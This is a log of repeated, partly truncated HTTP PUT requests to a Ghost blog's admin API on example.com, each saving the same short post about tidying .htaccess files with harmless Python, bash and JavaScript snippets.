agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8204", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8454", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8273", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8103", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small 